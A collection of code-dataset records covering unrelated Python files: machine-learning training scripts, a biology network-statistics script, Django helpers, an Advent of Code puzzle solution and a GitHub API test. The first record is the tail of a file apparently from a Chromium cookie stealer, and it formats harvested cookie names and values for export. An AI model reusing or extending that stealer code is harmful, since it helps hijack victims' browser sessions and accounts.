coockie.pro/pages/netscapetojson\n\"\"\"\ndef GetFormatted():\n getCookies = Get()\n fmtCookies = ''\n for cookie in getCookies:\n fmtCookies += (\"{0}\\tTRUE\\t{1}\\t{2}\\t{3}\\t{4}\\t{5}\\r\\n\"\n .format(cookie[\"hostname\"], cookie[\"path\"], int(cookie[\"secure\"]), cookie[\"expires\"], cookie[\"name\"], cookie[\"value\"]))\n return fmtCookies","sub_path":"Stealer/Chromium/Cookies.py","file_name":"Cookies.py","file_ext":"py","file_size_in_byte":1362,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"578783125","text":"import pickle\n\nimport numpy as np\nfrom scipy.stats import gaussian_kde\nfrom matplotlib import pyplot as plt\nfrom scipy import histogram2d\nfrom csv import reader as csv_reader\nimport os\n\nfrom bioflow.sample_storage.mongodb import count_interactome_rand_samp, find_interactome_rand_samp\nfrom bioflow.utils.log_behavior import get_logger\nfrom bioflow.molecular_network.InteractomeInterface import InteractomeInterface\nfrom bioflow.algorithms_bank.conduction_routines import perform_clustering\nfrom bioflow.main_configs import Dumps\nfrom bioflow.utils.top_level import map_and_save_gene_ids\n# from bioflow.algorithms_bank.conduction_routines import get_current_through_nodes\nfrom matplotlib.cm import get_cmap\nfrom bioflow.main_configs import output_location\nfrom bioflow.user_configs import sources_location\n\n\nlog = get_logger(__name__)\n\n\n# TODO: for our application a critical validation step could be to cribble the laplacian with zeros\n# => That would be an additional validation of our model stability\n\ninteractome_interface_instance = InteractomeInterface(True, True)\ninteractome_interface_instance.fast_load()\n\nmd5_hash = interactome_interface_instance.md5_hash()\n\ninteractome_interface_instance.randomly_sample(samples_size=[2],\n samples_each_size=[1000])\n\n# interactome_interface_instance.export_conduction_system()\n\n# raise Exception('debug')\n\n# we will need to populate the database first\n# here as well is where we will be doing filtering by the edge type\nprint(\"samples found to test against:\\t %s\" % count_interactome_rand_samp({'size': 2,\n 'sys_hash': md5_hash,\n 'sparse_rounds': False}))\n\nessential_genes_bulbs_ids = []\n\n\n# underlying file: \"C:\\\\Users\\\\Andrei\\\\Dropbox\\\\workspaces\\\\EPFL\n# post-doc\\\\Mehdi_paper_EPFL\\\\yeast_essential_genes-gene_names.csv\"\nessential_genes_bulbs_ids, _ = map_and_save_gene_ids(os.path.join(sources_location,\n 'yeast_essential_genes-gene_names.csv'),\n '')\n\n# was needed due to pull from the string formatting\n# essential_genes_bulbs_ids = [int(gene) for gene in essential_genes_bulbs_ids]\n\nnode_current_values = []\nlength_width_accumulator = []\nessentiality_percentage = []\n\n# we will need to modify the sys_hash to take in account that we are using only one type of\n# connections = > Done\nfor i, sample in enumerate(find_interactome_rand_samp({'size': 2,\n 'sys_hash': md5_hash,\n 'sparse_rounds': False})):\n\n # if i > 10:\n # break\n\n current_acc, nodes_current_dict = pickle.loads(sample['currents'])\n tensions = pickle.loads(sample['voltages']) # (tension might be broken)\n # print(sorted(nodes_current_dict.items(), key=lambda x: x[1], reverse=True)[:10])\n\n io_nodes, tension = (list(tensions.items())[0][0], list(tensions.items())[0][1])\n\n print('debug tension: ', tension)\n\n # TODO:\n\n if tension < 0.1:\n continue # we are hitting near a very tight cluster, so the pathway will be wide and short\n\n # # Debug section\n # interactome_interface_instance.current_accumulator = current_acc\n # interactome_interface_instance.node_current = nodes_current_dict\n # interactome_interface_instance.UP2UP_voltages = tensions\n # interactome_interface_instance.export_conduction_system()\n\n # Collects 100 nodes routing most information and cuts the source/sink nodes\n nodes_current = np.sort(\n np.array(list(nodes_current_dict.values())).astype(np.float))[-102:-2] * tension\n\n # additional filter in case some of the nodes have too small of current\n nodes_current = nodes_current[nodes_current > 0.05]\n\n # print(nodes_current)\n\n # not the most efficient implementation, but oh well\n essential_max_current = 0\n for gene in essential_genes_bulbs_ids:\n if nodes_current_dict[gene] / tension > 0.05:\n if nodes_current_dict[gene] > essential_max_current:\n essential_max_current = nodes_current_dict[gene] * tension\n\n # print(essential_max_current)\n\n total_resistance = tension # V=IR and since I=1 for tension calculation, it is resistance\n length_by_width = total_resistance # R ~ L / W\n print(total_resistance)\n print(total_resistance.dtype)\n print(nodes_current)\n print(nodes_current.dtype)\n\n shape_characteristic = 1. / nodes_current\n\n print('\\n\\n\\n>>>>>>>>>>>>>')\n print('sample ', i)\n print('nodes_current', nodes_current)\n print('length/width / tension', length_by_width)\n print('1/mean_width', np.mean(nodes_current))\n # alternative width is max. But in this case we might to remove everything close enough to 0\n\n # number of branches routing at least 10% of info flow. This is a bit of an oversimplification\n # ideally we need to use an estimator of width - # of major branches routing flow independently\n # Maybe we can use the extreme values distribution based on the bottom X in order to see\n # which one are really the outliers in the network\n\n if np.any(nodes_current > .1):\n mean_width = 1./np.mean(nodes_current[nodes_current > 0.1])\n else:\n mean_width = 1./np.median(nodes_current)\n length = mean_width * length_by_width\n\n if length < 1:\n mean_width /= length\n length = 1\n\n if mean_width < 1:\n length /= mean_width\n mean_width = 1\n\n if length > 12:\n continue\n\n print('width', mean_width)\n print('length', length)\n print('essentiality', essential_max_current)\n # print 'io nodes:\\t', nodes_current_dict[io_nodes[0]] * tension, nodes_current_dict[io_nodes[1]] * tension\n\n # print('resistance:\\t', total_resistance)\n # print('max current:\\t', nodes_current[-1])\n # print('tension:\\t', tension)\n # print(nodes_current)\n\n length_width_accumulator.append((length, mean_width))\n node_current_values += nodes_current.tolist()\n\n essentiality_percentage.append(min([essential_max_current, 1.]))\n\n # raise Exception('debug')\n\n\n # TODO: debug dump of a couple of pathways into gdf format\n\n # if any(nodes_current > 1.1):\n # print nodes_current\n # raise Exception('debug')\n\n # print 'tension', tension\n # print 'total_res', total_resistance\n # print 'path_len, nodes_current', np.column_stack((shape_characteristic, nodes_current))\n\n # if tension > 0.1: # (if tension is below, we hit a super closely related cluster - 10 direct connections)\n\n # shape_characteristic = shape_characteristic[shape_characteristic < 20]\n # shape_characteristic = shape_characteristic[shape_characteristic > 0.1]\n\n # mean_width = 1.\n # mean_length = 1.\n #\n # w_selected = shape_characteristic[shape_characteristic < 1]\n # if np.any(w_selected):\n # print 'estimated width distribution:\\t', np.mean(1. / w_selected)\n # mean_width = np.mean(1. / w_selected)\n # width_accumulator += (1. / w_selected).tolist()\n # if mean_width < 1:\n # raise Exception('unexpected width mean')\n # else:\n # print 'estimated width distribution:\\t', 1.\n #\n # l_selected = shape_characteristic[shape_characteristic > 1]\n # if np.any(l_selected):\n # print 'estimated length distribution:\\t', np.mean(l_selected)\n # mean_length = np.mean(l_selected)\n # length_accumulator += l_selected.tolist()\n # else:\n # print 'estimated length distribution: \\t', 1.\n #\n # # print essential_max_current\n # # print nodes_current[-1]\n # print \"essentiality percentage :\\t\", essential_max_current/nodes_current[-1]*tension\n # essentiality_percentage.append(essential_max_current/nodes_current[-1]*tension)\n # if essential_max_current*tension > nodes_current[-1]:\n # print essential_max_current\n # print nodes_current\n #\n # length_width_accumulator.append([mean_length, mean_width])\n\n\n\nnode_current_values = np.array(node_current_values)\ndata = node_current_values[node_current_values > 0.0002]\nprint(data)\nfltr = np.logical_not(np.isnan(data))\ndensity = gaussian_kde(data[fltr].flatten())\nxs = np.linspace(data[fltr].min(), data[fltr].max(), 200)\nplt.plot(xs, density(xs), 'k')\nplt.xlabel('pathway shape parameter')\nplt.ylabel('density of distribution')\n# plt.show()\nplt.savefig(os.path.join(output_location, 'pathway_shape_parameter.png'))\nplt.clf()\n\n\n_length = np.array(length_width_accumulator)[:, 0]\n\nprint('average length', np.mean(_length[_length > 1.99]))\nprint('std length', np.std(_length[_length > 1.99]))\n\ndata = np.array(_length[_length > 1.99])\nfltr = np.logical_not(np.isnan(data))\ndensity = gaussian_kde(data[fltr].flatten())\nxs = np.linspace(data[fltr].min(), data[fltr].max(), 200)\nplt.title('Length distribution of non-trivial pathways')\nplt.plot(xs, density(xs), 'k')\nplt.xlabel('length of the pathway')\nplt.ylabel('density of distribution')\n# plt.show()\nplt.savefig(os.path.join(output_location, 'pathway_length_distribution.png'))\nplt.clf()\n\n\n_width = np.array(length_width_accumulator)[:, 1]\n\nprint('average width', np.mean(_width[_length > 1.99]))\nprint('std width', np.std(_width[_length > 1.99]))\n\ndata = np.array(_width[_length > 1.99])\nfltr = np.logical_not(np.isnan(data))\ndensity = gaussian_kde(data[fltr].flatten())\nxs = np.linspace(data[fltr].min(), data[fltr].max(), 200)\nplt.title('Width distribution of non-trivial pathways')\nplt.plot(xs, density(xs), 'k')\nplt.xlabel('width of the pathway')\nplt.ylabel('density of distribution')\nplt.savefig(os.path.join(output_location, 'density_estimation_distribution.png'))\nplt.clf()\n# plt.show()\n\n\ndata = np.array(np.array(essentiality_percentage)[_length > 1.1])\nfltr = np.logical_not(np.isnan(data))\ndensity = gaussian_kde(data[fltr].flatten())\nxs = np.linspace(data[fltr].min(), data[fltr].max(), 200)\nplt.title('Percentage of pathway throughput lost in case of essential gene deletion')\nplt.plot(xs, density(xs), 'k')\nplt.axvline(0.7)\nplt.xlabel('percentage of current routed through essential genes')\nplt.ylabel('density of distribution')\nplt.savefig(os.path.join(output_location, 'essential_percentage_distribution.png'))\nplt.clf()\n# plt.show()\n\n\ndef better2D_desisty_plot(xdat, ydat, thresh=3, bins=(100, 100)):\n xyrange = [[min(xdat), max(xdat)], [min(ydat), max(ydat)]]\n distortion = (xyrange[1][1] - xyrange[1][0]) / \\\n (xyrange[0][1] - xyrange[0][0])\n xdat = xdat * distortion\n\n xyrange = [[min(xdat), max(xdat)], [min(ydat), max(ydat)]]\n hh, locx, locy = histogram2d(xdat, ydat, range=xyrange, bins=bins)\n posx = np.digitize(xdat, locx)\n posy = np.digitize(ydat, locy)\n\n ind = (posx > 0) & (posx <= bins[0]) & (posy > 0) & (posy <= bins[1])\n # values of the histogram where the points are\n hhsub = hh[posx[ind] - 1, posy[ind] - 1]\n xdat1 = xdat[ind][hhsub < thresh] # low density points\n ydat1 = ydat[ind][hhsub < thresh]\n hh[hh < thresh] = np.nan # fill the areas with low density by NaNs\n\n plt.imshow(\n np.flipud(\n hh.T),\n cmap='jet',\n extent=np.array(xyrange).flatten(),\n interpolation='none')\n plt.plot(xdat1, ydat1, '.')\n\n\n# better2D_desisty_plot(np.array(length_width_accumulator)[:, 0],\n# np.array(length_width_accumulator)[:, 1])\n\ncm = get_cmap('seismic')\n\nplt.scatter(np.array(length_width_accumulator)[:, 0], np.array(length_width_accumulator)[:, 1],\n c=np.array(essentiality_percentage), cmap=cm, vmin=0., vmax=1.)\nplt.colorbar(label='essentiality')\nplt.axvspan(0, 2, facecolor='0.5', alpha=0.5)\nplt.xlabel('length of the pathway')\nplt.ylabel('width of the pathway')\nplt.show()\nplt.savefig(os.path.join(output_location, 'essentiality_length_vs_width.png'))\nplt.clf()\n\n# pickle.dump(length_accumulator, open('step_length.dmp', 'wb'))\n# pickle.dump(width_accumulator, open('width_length.dmp', 'wb'))\nw_l_accumulator_location = os.path.join(output_location, 'BOWN_NN_w_l_accumulatror.dmp')\npickle.dump(length_width_accumulator, open(w_l_accumulator_location, 'wb'))","sub_path":"bioflow/utils/random_path_statistics.py","file_name":"random_path_statistics.py","file_ext":"py","file_size_in_byte":12310,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"419469535","text":"# -*- coding: utf-8 -*-\nfrom empleados.views import *\nfrom empleados.models import *\nfrom empleados.forms import *\nfrom django.contrib.auth.models import User\n\ndef set_values (usuario):\n\tform = Formulario1()\n\ttry:\n\t\templeado = Empleado.objects.get(user = usuario.pk)\n\t\tform.fields['apellido_paterno'].initial = empleado.apellido_paterno\n\t\tform.fields['apellido_materno'].initial = empleado.apellido_materno\n\t\tform.fields['fecha_nacimiento'].initial = empleado.fecha_nacimiento\n\t\tform.fields['pais_nacimiento'].initial = empleado.pais_nacimiento\n\t\tform.fields['edad'].initial = empleado.edad\n\t\tform.fields['tipo_documento_identidad'].initial = empleado.tipo_documento_identidad\n\t\tform.fields['fecha_vencimiento_pasaporte'].initial = empleado.pasaporte_valido\n\t\tform.fields['pasaporte'].initial = empleado.pasaporte\n\t\tform.fields['tlf'].initial = empleado.tlf\n\t\tform.fields['direccion'].initial = empleado.direccion\n\t\tform.fields['foto'].initial = empleado.foto\n\t\tform.fields['docu_ident_front'].initial = empleado.docu_ident_front\n\t\tform.fields['docu_ident_back'].initial = empleado.docu_ident_back\n\t\tform.fields['imagen_pasaporte'].initial = empleado.imagen_pasaporte\n\t\tform.fields['acta_nacimiento'].initial = empleado.acta_nacimiento\n\t\tnacionalidades = Nacionalidad.objects.filter(user=empleado)\n\t\tform.fields['nacionalidad'].initial = nacionalidades\n\texcept:\n\t\tpass\n\treturn form\n\ndef set_values_2 (usuario):\n\tform = Formulario_etapa_2()\n\ttry:\n\t\templeado = Empleado.objects.get(user = usuario.pk)\n\t\tform.fields['curp'].initial = empleado.curp\n\t\tform.fields['rfc'].initial = empleado.rfc\n\t\tform.fields['sat'].initial = empleado.sat\n\t\tform.fields['infonavit'].initial = empleado.infonavit\n\t\tform.fields['imss'].initial = empleado.imss\n\texcept:\n\t\tpass\n\treturn form","sub_path":"empleados/metodos.py","file_name":"metodos.py","file_ext":"py","file_size_in_byte":1763,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"451063532","text":"# convert : converts a string of #s and .s to a binary number (# = 1, . = 0)\r\ndef convert(a: str):\r\n res1 = 0\r\n for i in range(len(a)):\r\n if a[i] == \"#\":\r\n res1 = res1 | (1 << i)\r\n b = a[::-1]\r\n res2 = 0\r\n for i in range(len(b)):\r\n if b[i] == \"#\":\r\n res2 = res2 | (1 << i)\r\n return [res1, res2]\r\n\r\n# part1 : converts the borders of tiles to binary numbers, checks frequency of\r\n# each to see which ones come from corner tiles\r\ndef part1():\r\n with open(\"Day 20 Input.txt\", mode = 'r') as f:\r\n lines = f.readlines()\r\n\r\n # remove '\\n' character at the end of each line\r\n for i in range(len(lines)):\r\n lines[i] = lines[i].split(\"\\n\")[0]\r\n\r\n tiles = []\r\n tmp = []\r\n for i in range(len(lines)):\r\n if lines[i] == \"\":\r\n tiles.append(tmp)\r\n tmp = []\r\n else:\r\n tmp.append(lines[i])\r\n tiles.append(tmp)\r\n \r\n d = dict()\r\n fullTiles = dict()\r\n \r\n for i in range(len(tiles)):\r\n tileNum = int(tiles[i][0][5:-1])\r\n tile = tiles[i][1:]\r\n fullTiles[tileNum] = tile\r\n top = tile[0]\r\n bottom = tile[-1]\r\n left = \"\"\r\n right = \"\"\r\n for i in range(len(tile)):\r\n left += tile[i][0]\r\n right += tile[i][-1]\r\n d[tileNum] = [convert(top),\r\n convert(right),\r\n convert(bottom),\r\n convert(left)]\r\n\r\n tb = []\r\n lr = []\r\n for tNum in d:\r\n tb += d[tNum][0]\r\n tb += d[tNum][2]\r\n lr += d[tNum][1]\r\n lr += d[tNum][3]\r\n\r\n tbD = dict()\r\n for x in set(tb):\r\n tbD[x] = tb.count(x)\r\n lrD = dict()\r\n for y in set(lr):\r\n lrD[y] = lr.count(y)\r\n\r\n a = tb+lr\r\n aD = dict()\r\n for z in set(a):\r\n aD[z] = a.count(z)\r\n\r\n score = dict()\r\n for tNum in d:\r\n s = 0\r\n for i in range(4):\r\n side = d[tNum][i]\r\n for rot in side:\r\n if aD[rot] == 2:\r\n s += 1\r\n break\r\n score[tNum] = s\r\n\r\n corners = []\r\n res = 1\r\n for tNum in score:\r\n if score[tNum] == 2:\r\n corners.append(tNum)\r\n res *= tNum\r\n\r\n print(f\"Part 1: {res}\")\r\n return\r\n\r\n\"\"\"\r\n-------------------------------------------------------------------------------\r\nPART 2 SOLUTION NOT MY OWN.\r\nSOURCE: https://github.com/morgoth1145/advent-of-code/blob/2020-python/2020/\r\n Day%2020/solution.py\r\n-------------------------------------------------------------------------------\r\n\"\"\"\r\nimport collections\r\nimport math\r\nimport re\r\n\r\ndef parse_tiles(s):\r\n tiles = {}\r\n for part in s.split('\\n\\n'):\r\n lines = part.splitlines()\r\n m = re.fullmatch('Tile (\\d+):', lines[0])\r\n num = int(m.group(1))\r\n grid = [list(l) for l in lines[1:]]\r\n tiles[num] = grid\r\n return tiles\r\n\r\ndef determine_grid_borders(grid):\r\n top = grid[0]\r\n right = ''.join(l[-1] for l in grid)\r\n bottom = grid[-1]\r\n left = ''.join(l[0] for l in grid)\r\n return (top, right, bottom, left)\r\n\r\ndef grid_mirrors(grid):\r\n candidates = [grid]\r\n candidates.append(grid[::-1])\r\n candidates.append([l[::-1] for l in grid])\r\n candidates.append([l[::-1] for l in grid][::-1])\r\n return candidates\r\n\r\ndef grid_rotations(grid):\r\n candidates = [grid]\r\n last = grid\r\n for _ in range(3):\r\n grid = [l[:] for l in grid]\r\n for x in range(len(grid)):\r\n for y in range(len(grid[x])):\r\n grid[x][y] = last[len(grid[x])-y-1][x]\r\n last = grid\r\n candidates.append(grid)\r\n return candidates\r\n\r\ndef all_grid_options(grid):\r\n candidates = list()\r\n for opt in grid_mirrors(grid):\r\n candidates.extend(grid_rotations(opt))\r\n output = []\r\n for opt in candidates:\r\n if opt not in output:\r\n output.append(opt)\r\n return output\r\n\r\ndef generate_tiling(tile_to_orients_to_borders):\r\n dim = math.isqrt(len(tile_to_orients_to_borders))\r\n def impl(tiling, x, y, seen):\r\n if y == dim:\r\n return tiling\r\n next_x = x+1\r\n next_y = y\r\n if next_x == dim:\r\n next_x = 0\r\n next_y += 1\r\n for num, options in tile_to_orients_to_borders.items():\r\n if num in seen:\r\n continue\r\n seen.add(num)\r\n for idx, borders in options.items():\r\n top, _, _, left = borders\r\n if x > 0:\r\n neighbor_num, neighbor_orient = tiling[x-1][y]\r\n _, neighbor_right, _, _ = tile_to_orients_to_borders[neighbor_num][neighbor_orient]\r\n if neighbor_right != left:\r\n continue\r\n if y > 0:\r\n neighbor_num, neighbor_orient = tiling[x][y-1]\r\n _, _, neighbor_bottom, _ = tile_to_orients_to_borders[neighbor_num][neighbor_orient]\r\n if neighbor_bottom != top:\r\n continue\r\n tiling[x][y] = (num, idx)\r\n answer = impl(tiling, next_x, next_y, seen)\r\n if answer is not None:\r\n return answer\r\n seen.remove(num)\r\n tiling[x][y] = None\r\n return None\r\n tiling = [[None] * dim for _ in range(dim)]\r\n return impl(tiling, 0, 0, set())\r\n\r\ndef make_superimage(tile_options, tiling):\r\n output = []\r\n for row in tiling:\r\n grids = []\r\n for num, orient in row:\r\n grid = tile_options[num][orient]\r\n # Chop off borders\r\n grid = [l[1:-1] for l in grid[1:-1]]\r\n grids.append(grid)\r\n for y in range(len(grids[0][0])):\r\n out_row = []\r\n for idx in range(len(grids)):\r\n out_row.extend(grids[idx][x][y] for x in range(len(grids[idx])))\r\n output.append(''.join(out_row))\r\n return output\r\n\r\nMONSTER_PATTERN = ''' # \r\n# ## ## ###\r\n # # # # # # '''\r\n\r\ndef test_for_monsters(image):\r\n monster_coords = []\r\n max_x = 0\r\n max_y = 0\r\n for dy, line in enumerate(MONSTER_PATTERN.splitlines()):\r\n for dx, c in enumerate(line):\r\n if c == '#':\r\n monster_coords.append((dx, dy))\r\n max_x = max(dx, max_x)\r\n max_y = max(dy, max_y)\r\n monster_tiles = set()\r\n for y in range(len(image)):\r\n if y+max_y >= len(image):\r\n break\r\n for x in range(len(image[y])):\r\n if x+max_x >= len(image[y]):\r\n break\r\n has_monster = True\r\n for dx, dy in monster_coords:\r\n if image[y+dy][x+dx] != '#':\r\n has_monster = False\r\n break\r\n if has_monster:\r\n for dx, dy in monster_coords:\r\n monster_tiles.add((x+dx, y+dy))\r\n if len(monster_tiles) == 0:\r\n return None\r\n all_pounds = set()\r\n for y, row in enumerate(image):\r\n for x, c in enumerate(row):\r\n if c == '#':\r\n all_pounds.add((x, y))\r\n return len(all_pounds - monster_tiles)\r\n\r\ndef part2(s):\r\n tiles = parse_tiles(s)\r\n tile_options = {num:all_grid_options(grid)\r\n for num, grid in tiles.items()}\r\n tile_to_orients_to_borders = collections.defaultdict(dict)\r\n for num, options in tile_options.items():\r\n for idx, grid in enumerate(options):\r\n borders = determine_grid_borders(grid)\r\n tile_to_orients_to_borders[num][idx] = borders\r\n tiling = generate_tiling(tile_to_orients_to_borders)\r\n\r\n image = make_superimage(tile_options, tiling)\r\n\r\n image_opts = all_grid_options([list(l) for l in image])\r\n\r\n for opt in image_opts:\r\n answer = test_for_monsters(opt)\r\n if answer is not None:\r\n break\r\n \r\n print(f\"Part 2: {answer}\")\r\n\r\npart1()\r\npart2(open('Day 20 Input.txt').read().strip())\r\n","sub_path":"Day 20/Day 20.py","file_name":"Day 20.py","file_ext":"py","file_size_in_byte":8021,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"9376966","text":"import urllib.request\nimport json\nimport unittest\nimport os.path\n\nclass TestRESTapi(unittest.TestCase):\n\n def test_api(self):\n apiToken = None\n with open('./../app/api.token', 'r') as tokenFile:\n apiToken = tokenFile.read()\n url = 'https://api.github.com/repos/lumyslinski/app_projects'\n req = urllib.request.Request(url)\n req.add_header('Authorization', 'token %s' % apiToken)\n jsonResult = None\n with urllib.request.urlopen(url, timeout=60000) as response:\n jsonResult = json.loads(response.read())\n print(jsonResult)\n self.assertTrue(jsonResult['full_name'] == 'lumyslinski/app_projects')\n self.assertTrue(jsonResult['description'] == 'This category contains mine software implementations')\n self.assertTrue(jsonResult['clone_url'] == 'https://github.com/lumyslinski/app_projects.git')\n self.assertTrue(jsonResult['created_at'] == '2018-06-23T01:18:09Z')\n # stargazers_count could by changed any time\n\nif __name__ == '__main__':\n unittest.main()","sub_path":"project_python_restapi/test/unitTest.py","file_name":"unitTest.py","file_ext":"py","file_size_in_byte":1080,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"599600463","text":"from functools import reduce\nimport os\nimport time\nimport numpy as np\nimport pandas\nfrom PIL import Image\nimport pyscreenshot as ImageGrab\nfrom sklearn.model_selection import train_test_split\nfrom tensorflow import keras\nfrom tensorflow.keras.layers import Dense, Conv2D, MaxPooling2D, Flatten,Reshape,BatchNormalization,Input\nfrom ImageProcessor import ImageProcessor \nfrom ConvNet import ConvNet\nfrom numpy import argmax\nclass CategoricalConvNet(ConvNet):\n def __init__(self, boxname, convLayerAmt, denseLayersAmt,modelDir=\"models/\"):\n super().__init__(boxname,convLayerAmt,denseLayersAmt,modelDir)\n\n\n def _classifyImages(self):\n processor = ImageProcessor(self._filePath)\n image_labels = processor.classifyCategoricalImages()\n if(len(image_labels) == 0):\n raise ValueError(\"There are no images in that folder\")\n return image_labels\n\n def BuildConvNet(self):\n self.add(Input(shape=self._imageShape))\n for i in range(self._convLayerAmt):\n self.add(Conv2D(self._kernelChannels,self._kernelSize,\n padding=\"Valid\"))\n self.add(MaxPooling2D(self._poolingSize))\n self.add(Flatten())\n for i in range(self._denseLayersAmt):\n self.add(Dense(100,activation = \"relu\", use_bias=True))\n self.add(Dense(len(self._imageLabels[0]),activation=\"softmax\"))\n return self.layers\n\n def train(self):\n trainingImages = self.regularizeImages(self._images)\n trainingLabels = self._imageLabels \n imageBatches = np.array_split(trainingImages,ceil(trainingImages.shape[0]/10))\n labelBatches = np.array_split(trainingLabels,ceil(trainingLabels.shape[0]/10))\n self.compile(optimizer = keras.optimizers.Adam(lr=.001),\n loss=\"categorical_crossentropy\",metrics=[\"accuracy\"])\n for images,labels in list(zip(imageBatches,labelBatches)):\n self.fit(\n trainingImages,\n trainingLabels,epochs=100,\n batch_size=trainingLabels.shape[0],\n validation_split=0.2)\n \nif __name__ == \"__main__\": \n test_model = CategoricalConvNet(\"screenbox\",3,10)\n print(np.asarray(test_model.imageLabels))\n test_model.BuildConvNet()\n test_model.train()\n predictions = test_model.predict(test_model.images)\n \n print(predictions)\n print(argmax(predictions,axis=1))\n# print(reduce(lambda x,y: x and y,[round(x[0]) for x in predictions] == test_model.imageLabels))\n print(test_model.imageLabels)\n print(argmax(test_model.imageLabels,axis=1))\n test_model.summary()\n test_model.save()\n","sub_path":"CategoricalConvNet.py","file_name":"CategoricalConvNet.py","file_ext":"py","file_size_in_byte":2670,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"499934096","text":"import torch\nimport torch.nn as nn\nimport torch.optim as optim\nimport torch.nn.functional as F\nimport torchvision\nimport torchvision.transforms as transforms\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nclass Network(nn.Module):\n def __init__(self):\n super(Network,self).__init__()\n self.conv1 = nn.Conv2d(in_channels=1,out_channels=6,kernel_size=5)\n self.conv2 = nn.Conv2d(in_channels=6,out_channels=12,kernel_size=5)\n\n self.fc1 = nn.Linear(in_features=12*4*4,out_features=120)\n self.fc2 = nn.Linear(in_features=120,out_features=60)\n self.out = nn.Linear(in_features=60,out_features=10)\n\n def forward(self,t):\n #(1) input layer\n t = t\n\n #(2) hidden conv layer\n t = self.conv1(t)\n t = F.relu(t)\n t = F.max_pool2d(t,kernel_size = 2, stride = 2)\n\n #(3) hiddden conv layer\n t = self.conv2(t)\n t = F.relu(t)\n t = F.max_pool2d(t,kernel_size = 2,stride = 2)\n\n\n #(4) hiden linear layer\n t = t.reshape(-1,12 * 4 * 4)\n t = self.fc1(t)\n t = F.relu(t)\n\n #(5) hidden linear layer\n t = self.fc2(t)\n t = F.relu(t)\n\n\n #(6) hidden linear layer (output)\n t = self.out(t)\n return t\n\n\nif __name__ == \"__main__\":\n\n torch.set_printoptions(linewidth=120)\n\n train_set = torchvision.datasets.FashionMNIST(\n root = './data/FashionMNIST',\n train = True,\n download=True,\n transform = transforms.Compose([\n transforms.ToTensor()\n ])\n )\n\n torch.set_grad_enabled(True)\n\n network = Network()\n\n data_loader = torch.utils.data.DataLoader(\n train_set,\n batch_size = 100\n )\n\n optimizer = optim.Adam(network.parameters(), lr=0.01)\n\n for epoch in range(5):\n total_loss = 0\n total_correct = 0\n for batch in data_loader:\n images, labels = batch\n preds = network(images)\n loss = F.cross_entropy(preds, labels)\n\n optimizer.zero_grad()\n loss.backward()\n optimizer.step()\n total_loss += loss.item()\n total_correct += preds.argmax(dim = 1).eq(labels).sum().item()\n print(\"Epoch: \",epoch, \"Total Loss: \", total_loss, \"Total Correct: \", total_correct, \"Total Correct Percentage: \", total_correct/len(train_set))\n\n\n\n\n print(\"OK\")\n print(\"OK\")\n print(\"OK2\")\n print(\"OK3\")\n print(\"OK4\")","sub_path":"Deeplizard/code1.py","file_name":"code1.py","file_ext":"py","file_size_in_byte":2540,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"39916224","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ]\n\n operations = [\n migrations.CreateModel(\n name='TaxRate',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('percentage', models.DecimalField(help_text='% tax for this area and type', verbose_name='Percentage', max_digits=7, decimal_places=6)),\n ],\n options={\n 'verbose_name': 'Tax Rate',\n 'verbose_name_plural': 'Tax Rates',\n },\n bases=(models.Model,),\n ),\n ]\n","sub_path":"venv/lib/python3.7/site-packages/Satchmo-0.9.3-py3.7.egg/tax/modules/area/migrations/0001_initial.py","file_name":"0001_initial.py","file_ext":"py","file_size_in_byte":745,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"452881879","text":"__authors__ = '1531236, 1532874, 1526000'\n__group__ = 'DL.15'\n\nimport numpy as np\nfrom Kmeans import *\nfrom KNN import *\nfrom utils_data import read_dataset, visualize_k_means, visualize_retrieval, Plot3DCloud\nimport matplotlib.pyplot as plt\nimport cv2\nfrom PIL import Image\nfrom PIL import ImageOps\nfrom time import time\n\n#FUNCIONS D'ANALISI QUALITATIU\ndef retrievalByColor(imatges, resKmeans, llistaC, isok = None):\n answ = []\n for i,el in enumerate(resKmeans):\n count = 0\n for color in llistaC:\n if color in el:\n count += 1\n if count == len(llistaC):\n answ.append(imatges[i])\n if isok is not None:\n sum = 0\n for revisa in llistaC:\n if revisa in test_color_labels[i]:\n sum += 1\n if sum == len(llistaC):\n isok.append(True)\n else:\n isok.append(False)\n\n return answ\n\n\ndef Retrival_by_shape(llimatges, etiquetes, cerca, isok=None):\n llista = []\n for i,x in enumerate(etiquetes):\n if x == cerca:\n llista.append(llimatges[i])\n if isok is not None:\n if x == test_class_labels[i]:\n isok.append(True)\n else:\n isok.append(False)\n\n return llista\n\n\ndef retrieval_combined(imatges, formes, colors, forma, color):\n answ = []\n for i, el in enumerate(imatges):\n if forma == formes[i] and color in colors[i]:\n answ.append(el)\n return answ\n\n\n\n#FUNCIONS D'ANALISI QUANTITATIU\ndef kmean_statistics(class_Kmeans, kmax):\n # cal mostrar WCD, nombre d'iteracions que ha necessitat per convergir, etc.\n k = 2\n print(\"gerard borra aquest missatge\")\n while (k <= kmax):\n class_Kmeans.K = k\n print(\"------------ Attempt: k =\", k, \"----------------\")\n\n it, time_converges = class_Kmeans.fit()\n wcd = class_Kmeans.whitinClassDistance('fisher')\n\n print(\"Iterations: \", it)\n print(\"Time until converges (s): \", time_converges)\n print(\"WCD: \", wcd)\n k += 1\n class_Kmeans.find_bestK(kmax, 'fisher')\n print(\"Best K: \", class_Kmeans.K)\n\n\ndef get_shape_accuracy(resKNN, labels):\n si = 0\n for i, el in enumerate(resKNN):\n if el == labels[i]:\n si += 1\n return (si/len(resKNN))*100\n\n\ndef get_color_accuracy(resKmeans, labels):\n encert = 0\n for i, el in enumerate(labels):\n it = 0\n for color in el:\n if color in 